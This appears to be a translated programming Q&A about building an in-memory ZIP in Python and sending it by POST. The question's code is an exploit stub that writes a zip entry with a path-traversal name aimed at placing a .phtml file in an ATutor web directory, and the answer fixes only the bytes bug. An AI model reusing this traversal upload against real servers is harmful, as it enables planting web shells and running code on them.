在内存中创建ZIP文件并通过POST请求发送

时间:2019-06-07 18:20:59

标签: python python-requests stringio

我正在尝试使用python在内存中创建一个zip文件,然后将其附加到POST请求以使用python-requests发送。这是我写的功能

import StringIO,zipfile
code = "poopootest"
def _build_zip_inmem(code):
    mf = StringIO.StringIO()
    with zipfile.ZipFile(mf, mode='w', compression=zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('../../../../../../../../../var/www/html/ATutor/mods/poc/1111.phtml', code)
        zf.writestr('imsmanifest.xml', "noxmlhereoops")
    mf.write(zf)
    print mf.getvalue()
    return mf.getvalue()
_build_zip_inmem(code)  

除了getvalue()似乎也返回对象的内存地址外,这基本上是可行的。打印行的末尾输出为<zipfile.ZipFile object at 0x7f4e8ba434d0>,我相信这就是我的POST失败的原因。

如何将内存中的zip转换为可以通过POST发送的二进制文件?

谢谢!!!

1 个答案:

答案 0 :(得分:1)

mf.getvalue()<zipfile.ZipFile object at 0x7f4e8ba434d0>结尾,因为您在调用mf时将该字符串写入了mf.write(zf)。对write()的调用是不必要的,因为zipfile已经由mf块写入了with zipfile.ZipFile(mf, ...)